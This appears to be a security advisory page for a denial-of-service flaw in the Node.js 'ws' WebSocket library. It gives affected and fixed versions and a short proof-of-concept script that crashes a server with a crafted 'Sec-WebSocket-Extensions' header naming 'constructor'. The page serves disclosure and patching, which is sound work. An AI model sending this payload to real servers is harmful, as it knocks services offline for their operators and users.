p PatchFirst

GHSA-5v72-xg48-5rpm

GHSA-5v72-xg48-5rpm · Denial of Service in ws

This page contains facts from public vulnerability sources. Check the original advisory before updating.

Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent. ## Proof of concept ``` const WebSocket = require('ws'); const net = require('net'); const wss = new WebSocket.Server({ port: 3000 }, function () { const payload = 'constructor'; // or ',;constructor' const request = [ 'GET / HTTP/1.1', 'Connection: Upgrade', 'Sec-WebSocket-Key: test', 'Sec-WebSocket-Version: 8', `Sec-WebSocket-Extensions: ${payload}`, 'Upgrade: websocket', '\r\n' ].join('\r\n'); const socket = net.connect(3000, function () { socket.resume(); socket.write(request); }); }); ``` ## Recommendation Update to version 3.3.1 or later.

CVSS 7.5 · High · Fix available

Published
Updated

Stack: node

Affected products and versions

  • ws npm

    Affected ranges
    • SEMVER: ≥ 0.6.0, < 1.1.5

    Update to 1.1.5

  • ws npm

    Affected ranges
    • SEMVER: ≥ 2.0.0, < 3.3.1

    Update to 3.3.1

Original sources

Check your server →